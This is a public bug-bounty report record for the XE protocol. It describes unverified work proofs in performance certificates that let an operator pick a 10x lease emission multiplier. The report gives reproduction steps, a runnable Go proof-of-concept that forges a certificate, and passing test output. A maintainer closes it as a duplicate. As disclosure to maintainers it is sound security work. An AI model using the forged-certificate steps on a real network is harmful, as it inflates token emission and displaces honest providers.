{"id":"XE-13228","kind":"bounty","visibility":"public","source":"github","source_repo":"xeprotocol/xe","source_ref":"354","source_url":"https://github.com/xeprotocol/xe/issues/354","reporter_id":1180,"title":"[Severe] Self-issued perf certificate sets lease emission multiplier — up to 10x XE inflation per lease","area":"leasing-ledger","claimed_tier":"severe","assessed_tier":null,"verdict":"duplicate","duplicate_of":"XE-0001","tracked":true,"internal_ref":"#1062","internal_url":"https://github.com/xeprotocol/core/issues/1062","status":"closed","closed_reason":"duplicate","github_state":"closed","disclosed_at":null,"award_xe":null,"award_approved":false,"paid_ref":"","created_at":"2026-11-14T20:42:00.886344+00:00","updated_at":"2026-11-20T00:07:01.121467+00:00","source_created_at":"2026-11-11T07:43:10+00:00","told_at":"2026-11-20T00:04:50+00:00","status_changed_at":"2026-11-20T00:04:24.899184+00:00","url":"https://bounty.xe.network/XE-13228","body":"# [Severe] Self-issued perf certificate sets lease emission multiplier — up to 10x XE inflation per lease\n\n**Severity (suggested):** Severe (up to 25,000 XE) — arguably Critical (protocol emission inflation funded from the emission budget)\n\n## Summary\nA performance certificate's work proof is never verified on intake, and consensus pins lease cost (and therefore XE emission at settle) to the certificate's self-chosen `PriceMultiplierMilli`. An operator who controls both a consumer wallet and a provider wallet can mint up to 10x the XE per lease compared to a baseline certificate, repeatedly, draining the emission budget and mis-pricing XUSD escrow conversion.\n\n## Root cause\n- `perf/certificate.go:156` `VerifyCertificateContent` only checks self-signature, `Score > 0`, puzzle-count constant, accepted workload version, and that `PriceMultiplierMilli` is within `[PriceMultiplierMin, PriceMultiplierMax]` (i.e. `[500, 10000]`, line 191). It never verifies the PoW work proof (`WorkProof`/`Seed`/nonces).\n- `perf/benchmark.go:194` `VerifyWork` has no non-test call sites (grep: only its definition). The node's own issuer logs \"sim-only feature; production use is gated on anti-cheat\" (`node/perf.go:86-89`) but no such gate exists in the verifier.\n- `core/ledger.go:1547` (`validateAndAddLease`) and `core/lease_renew.go:84` pin lease/renew cost to `LeaseCost(..., cert.PriceMultiplierMilli)`; `core/ledger.go:2070` `LeaseTotalEmission` = `LeaseEmissionChecked(cost, R)` = `cost * R / 1000`. `CapR` caps `R`, never `cost`. So emission scales linearly with the attacker-chosen multiplier.\n\n## Impact\nProtocol emission budget pays up to 10x per lease; XUSD escrow is burned at settle at the same preferential conversion, so this also skews the escrow/supply accounting. Honest providers are displaced in any score/multiplier-ranked selection.\n\n## Steps to reproduce\n1. Create provider wallet B. Self-issue a certificate with `SignCertificate`: fresh key, `Score: 0.001`, `PriceMultiplierMilli: 10000`, `ExpiresAt: now + 10y`, no benchmark run.\n2. Gossip it — every node accepts it into the cert store (only content check runs).\n3. Consumer wallet A posts a lease to B at the 10x-quoted cost; `validateAndAddLease` enforces that exact cost and `lease_accept` accepts.\n4. At settle, `LeaseTotalEmission` pays ~10x the XE a baseline-cert lease would pay.\n\n## Proof of concept\n- Go test: `SignCertificate` a cert with multiplier 10000 → assert `VerifyCertificateContent(cert) == nil`; assert `VerifyWork(cert.Seed, nil, cert.Puzzles)` fails (proof absent), proving intake skipped the proof.\n- Two-node local testnet: post a 10x-cost lease, settle, diff settled XE vs a 1000-milli lease (expect exactly 10x).\n\n## Fix direction\nVerify the work proof on intake (`VerifyWork` bound to `Seed`/`CPUHash`), and/or bind `Score` to `PriceMultiplierMilli` so a multiplier above 1000 requires a proven high score.\n\n\n## Runnable PoC (passes on repo @89a542e, Go 1.25)\n\n`perf/poc_multiplier_test.go`:\n\n```go\npackage perf\n\n// PoC for: self-issued perf certificate sets lease emission multiplier — up to 10x XE\n// inflation per lease. Run: go test ./perf/ -run TestPoC -v\n\nimport (\n\t\"encoding/hex\"\n\t\"strings\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/xeprotocol/xe/core\"\n)\n\nfunc newForgedCert(t *testing.T, multiplier uint64) *Certificate {\n\tt.Helper()\n\tkp, err := core.GenerateKeyPair()\n\tif err != nil {\n\t\tt.Fatalf(\"keygen: %v\", err)\n\t}\n\tif core.GetNetworkID() == \"\" {\n\t\tcore.SetNetworkID(\"testnet-0005\")\n\t}\n\tnow := time.Now().Unix()\n\tc := &Certificate{\n\t\tProvider:             kp.Address(),\n\t\tSeed:                 strings.Repeat(\"ab\", 32),\n\t\tWorkloadVersion:      WorkloadVersion,\n\t\tPuzzles:              PoWPuzzles,\n\t\tWorkProof:            \"\", // NO work proof supplied\n\t\tCPUHash:              strings.Repeat(\"cd\", 32),\n\t\tScore:                0.001,\n\t\tStartAttestationRoot: strings.Repeat(\"00\", 32),\n\t\tEndAttestationRoot:   strings.Repeat(\"00\", 32),\n\t\tStartMedian:          now,\n\t\tEndMedian:            now,\n\t\tIssuedAt:             now,\n\t\tExpiresAt:            now + 10*365*24*3600,\n\t\tPriceMultiplierMilli: multiplier,\n\t}\n\tif err := SignCertificate(c, kp); err != nil {\n\t\tt.Fatalf(\"sign: %v\", err)\n\t}\n\treturn c\n}\n\nfunc TestPoCSelfSignedMaxMultiplierAccepted(t *testing.T) {\n\tfor _, m := range []uint64{PriceMultiplierDefault, PriceMultiplierMax} {\n\t\tc := newForgedCert(t, m)\n\t\tif err := VerifyCertificate(c, time.Now().Unix()); err != nil {\n\t\t\tt.Fatalf(\"multiplier %d: content verification REJECTED (expected accepted): %v\", m, err)\n\t\t}\n\t}\n}\n\nfunc TestPoCWorkProofNeverBoundToMultiplier(t *testing.T) {\n\tc := newForgedCert(t, PriceMultiplierMax) // 10000 = 10x baseline 1000\n\t// The advertised PoW (1024 puzzles, small target) must fail for the empty\n\t// WorkProof — and nothing in VerifyCertificateContent noticed.\n\tseedBytes, err := hex.DecodeString(c.Seed)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tvar seed [32]byte\n\tcopy(seed[:], seedBytes)\n\tif _, _, err := VerifyWork(seed, nil, PoWPuzzles); err == nil {\n\t\tt.Fatal(\"VerifyWork unexpectedly passed with empty proof\")\n\t}\n\tif err := VerifyCertificateContent(c); err != nil {\n\t\tt.Fatalf(\"VerifyCertificateContent rejected cert the report claims is accepted: %v\", err)\n\t}\n\tt.Logf(\"accepted: Score=%f PriceMultiplierMilli=%d WorkProof=%q (len %d) — no proof, no check\",\n\t\tc.Score, c.PriceMultiplierMilli, c.WorkProof, len(c.WorkProof))\n}\n\nfunc TestPoCEmissionScalesWithSelfChosenMultiplier(t *testing.T) {\n\t// LeaseCost is linear in the multiplier, and LeaseEmissionChecked is linear\n\t// in cost — so a self-chosen multiplier inflates settled XE linearly.\n\tbase, _ := core.LeaseCost(8, 16_000, 100, 24*3600, PriceMultiplierDefault)\n\tmax, _ := core.LeaseCost(8, 16_000, 100, 24*3600, PriceMultiplierMax)\n\tif max != base*(PriceMultiplierMax/PriceMultiplierDefault) {\n\t\tt.Fatalf(\"expected linear multiplier scaling: base=%d max=%d\", base, max)\n\t}\n\tr := uint64(500) // CapR'd rate\n\teBase, _ := core.LeaseEmissionChecked(base, r)\n\teMax, _ := core.LeaseEmissionChecked(max, r)\n\tif eMax != eBase*(PriceMultiplierMax/PriceMultiplierDefault) {\n\t\tt.Fatalf(\"expected linear emission scaling: base=%d max=%d\", eBase, eMax)\n\t}\n\tt.Logf(\"emission per 24h lease: baseline=%d µXE, attacker-issued cert=%d µXE (%dx, self-chosen multiplier, zero run work)\", eBase, eMax, eMax/eBase)\n}\n```\n\n```\n$ go test ./perf/ -run TestPoC -v\n=== RUN   TestPoCSelfSignedMaxMultiplierAccepted\n--- PASS\n=== RUN   TestPoCWorkProofNeverBoundToMultiplier\n    accepted: Score=0.001000 PriceMultiplierMilli=10000 WorkProof=\"\" (len 0) — no proof, no check\n--- PASS\n=== RUN   TestPoCEmissionScalesWithSelfChosenMultiplier\n    emission per 24h lease: baseline=5040000 µXE, attacker-issued cert=50400000 µXE (10x, self-chosen multiplier, zero run work)\n--- PASS\nPASS\nok  github.com/xeprotocol/xe/perf\t0.024s\n```\n","patch_refs":[],"thread":[{"id":3114,"source":"github","source_ref":"6790276488","author":"urelkdubdqwr","team":false,"body":"XE payout address for this finding: `10b3dcf69edda38c4b579ade45e0bb110c04ce7215837d8f0b784916d5a50405`","created_at":"2026-11-11T07:48:46+00:00"},{"id":11918,"source":"web","source_ref":"reporter:1180:c10f42c10d9387c2","author":"urelkdubdqwr","team":false,"body":"Status check and clarification on XE-13228 (filed 2026-11-11, still `new`; a note was added 2026-11-14 but the verdict/tier fields remain empty).\n\nOne-line impact recap: `VerifyCertificateContent` accepts a self-signed performance certificate without verifying the work proof, and lease/renew cost — and therefore XE emission at settle (`LeaseTotalEmission = cost * R / 1000`) — is pinned to the certificate's self-chosen `PriceMultiplierMilli` (bounded [500, 10000]). An operator holding both a consumer and a provider wallet can therefore mint up to 10x the baseline emission per lease, repeatedly.\n\nAnchors are in the report body: `perf/certificate.go:156`, `perf/benchmark.go:194` (no non-test call site), `core/ledger.go:1547`, `core/ledger.go:2070`, `core/lease_renew.go:84`.\n\nHappy to supply extra detail, a patch sketch, or a minimal test case if useful to triage. If the report is merely queued, a one-line status note is all I need — no rush.","created_at":"2026-11-18T12:27:47.503518+00:00"},{"id":12583,"source":"github","source_ref":"7025798033","author":"Joseph Denne","team":true,"body":"Thanks. This is the same finding as https://bounty.xe.network/XE-0001, which was filed first; the programme pays the\nfirst verifiable submission, so this one closes as a duplicate. If you believe it is a different\nbug, file a new report that links https://bounty.xe.network/XE-13228 and says what differs; it is read like any other.","created_at":"2026-11-20T00:04:50+00:00"}]}